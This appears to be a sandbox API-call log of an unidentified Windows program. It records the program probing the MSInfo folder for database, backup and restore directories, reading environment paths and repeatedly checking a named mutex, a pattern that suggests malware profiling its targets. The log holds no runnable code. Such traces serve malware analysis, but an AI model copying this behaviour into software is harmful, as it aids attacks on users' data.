[0047.265] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.265] GlobalUnlock (hMem=0x440004) returned 0 [0047.265] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.265] GlobalUnlock (hMem=0x44000c) returned 0 [0047.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@바R믨R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.265] GetLastError () returned 0x3 [0047.265] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.265] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵\x16\x18?\x18\x02") returned 21 [0047.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@뭼R企@\x18㽜Q\x181")) returned 0xffffffff [0047.266] GetLastError () returned 0x2 [0047.266] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵\x16\x18?\x18\x02") returned 9 [0047.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18;")) returned 0xffffffff [0047.266] GetLastError () returned 0x2 [0047.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵\x16\x18?\x18\x02") returned 8 [0047.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.267] GetLastError () returned 0x2 [0047.267] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 37 [0047.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@뭼R企@\x18❌R\x18j")) returned 0xffffffff [0047.268] GetLastError () returned 0x2 [0047.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 37 [0047.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 6 [0047.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.268] GetLastError () returned 0x2 [0047.268] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0047.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\❈RP") returned 6 [0047.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 7 [0047.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.269] GetLastError () returned 0x2 [0047.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@뭼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.269] GetLastError () returned 0x2 [0047.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.269] GetLastError () returned 0x2 [0047.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.269] GetLastError () returned 0x2 [0047.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@뭼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.270] GetLastError () returned 0x2 [0047.270] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.270] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.270] GlobalUnlock (hMem=0x44000c) returned 0 [0047.270] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.270] GlobalLock (hMem=0x440004) returned 0x552180 [0047.270] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.270] GlobalUnlock (hMem=0x44000c) returned 0 [0047.270] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.270] GlobalUnlock (hMem=0x440004) returned 0 [0047.270] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.270] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 46 [0047.270] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 15 [0047.270] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.270] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 11 [0047.270] GlobalLock (hMem=0x440004) returned 0x550170 [0047.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.270] GlobalUnlock (hMem=0x440004) returned 0 [0047.270] GlobalLock (hMem=0x440004) returned 0x550170 [0047.270] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.270] GlobalUnlock (hMem=0x440004) returned 0 [0047.271] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.271] GlobalUnlock (hMem=0x44000c) returned 0 [0047.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.271] GlobalUnlock (hMem=0x44000c) returned 0 [0047.271] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.271] GlobalLock (hMem=0x440004) returned 0x552180 [0047.271] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.271] GlobalUnlock (hMem=0x44000c) returned 0 [0047.271] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.271] GlobalUnlock (hMem=0x440004) returned 0 [0047.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0047.271] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.271] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.271] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0047.271] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.271] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.271] GlobalLock (hMem=0x440004) returned 0x551178 [0047.271] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.271] GlobalUnlock (hMem=0x440004) returned 0 [0047.271] GlobalLock (hMem=0x440004) returned 0x551178 [0047.271] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.271] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.271] GlobalUnlock (hMem=0x440004) returned 0 [0047.271] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.271] GlobalUnlock (hMem=0x44000c) returned 0 [0047.271] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.272] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0047.272] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.272] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.272] GlobalUnlock (hMem=0x44000c) returned 0 [0047.272] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.272] GlobalLock (hMem=0x440004) returned 0x552180 [0047.272] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.272] GlobalUnlock (hMem=0x44000c) returned 0 [0047.272] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.272] GlobalUnlock (hMem=0x440004) returned 0 [0047.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0047.272] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.272] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.272] GlobalLock (hMem=0x440004) returned 0x550170 [0047.272] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.272] GlobalUnlock (hMem=0x440004) returned 0 [0047.272] GlobalLock (hMem=0x440004) returned 0x550170 [0047.272] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.272] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.272] GlobalUnlock (hMem=0x440004) returned 0 [0047.272] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.272] GlobalUnlock (hMem=0x44000c) returned 0 [0047.272] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.272] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.272] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.273] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.273] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.273] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.273] GlobalUnlock (hMem=0x44000c) returned 0 [0047.273] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.273] GlobalLock (hMem=0x440004) returned 0x553188 [0047.273] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.273] GlobalUnlock (hMem=0x44000c) returned 0 [0047.273] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.273] GlobalUnlock (hMem=0x440004) returned 0 [0047.273] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.273] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.273] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.273] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.273] GlobalLock (hMem=0x440004) returned 0x551178 [0047.273] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.273] GlobalUnlock (hMem=0x440004) returned 0 [0047.273] GlobalLock (hMem=0x440004) returned 0x551178 [0047.273] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.273] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.273] GlobalUnlock (hMem=0x440004) returned 0 [0047.273] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.273] GlobalUnlock (hMem=0x44000c) returned 0 [0047.273] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.274] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.274] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.274] GlobalUnlock (hMem=0x44000c) returned 0 [0047.274] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.274] GlobalLock (hMem=0x440004) returned 0x553188 [0047.274] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.274] GlobalUnlock (hMem=0x44000c) returned 0 [0047.274] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.274] GlobalUnlock (hMem=0x440004) returned 0 [0047.274] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.274] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", len=0x3b | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned 1 [0047.274] GlobalLock (hMem=0x440004) returned 0x551178 [0047.274] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.274] GlobalUnlock (hMem=0x440004) returned 0 [0047.274] GlobalLock (hMem=0x440004) returned 0x551178 [0047.274] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.274] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.274] GlobalUnlock (hMem=0x440004) returned 0 [0047.274] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.274] GlobalUnlock (hMem=0x44000c) returned 0 [0047.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冸R册R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.274] GetLastError () returned 0x3 [0047.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18㽜Q\x181")) returned 0xffffffff [0047.275] GetLastError () returned 0x2 